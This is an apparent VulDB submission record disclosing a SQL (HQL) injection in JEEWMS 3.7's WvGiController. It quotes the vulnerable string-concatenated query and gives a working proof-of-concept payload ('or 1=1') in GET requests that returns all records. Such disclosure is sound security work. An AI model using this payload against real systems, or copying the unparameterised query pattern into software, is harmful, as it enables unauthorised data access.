| Title | erzhongxmu JEEWMS 3.7 SQL Injection |
|---|
| Description | JEEWMS v3.7 WvGiController (出货管理/outbound goods interface) concatenates user-supplied searchstr parameters directly into HQL queries without parameterization, allowing authenticated attackers to alter query logic and dump data.
Vulnerable code (WvGiController.list, line 99):
hql = hql + " and orderId = '" + searchstr + "'" + " or imCusCode like '%" + searchstr + "%'";
A request with searchstr=' or 1=1 or '1'='1 returns ALL wv_gi rows instead of the filtered set (verified live: normal request returns 1 record, injected request returns all 3 records in the response JSON "obj" array).
PoC:
GET /wvGiController.do?username=test&searchstr=' or 1=1 or '1'='1 -> all records returned in "obj"
GET /wvGiController.do?username=test&searchstr=ORD001 -> only matching record
Vulnerable code: src/main/java/com/zzjee/wmapi/controller/WvGiController.java:99 |
|---|
| Source | ⚠️ https://github.com/erzhongxmu/JEEWMS |
|---|
| User | Lib0gus (UID 101005) |
|---|
| Submission | 09/04/2026 11:22 (2 months ago) |
|---|
| Moderation | 10/11/2026 09:54 (1 month later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 416557 [erzhongxmu JEEWMS up to 2026.09.27-W39 WvGiController.java WvGiController.list searchstr sql injection] |
|---|
| Points | 20 |
|---|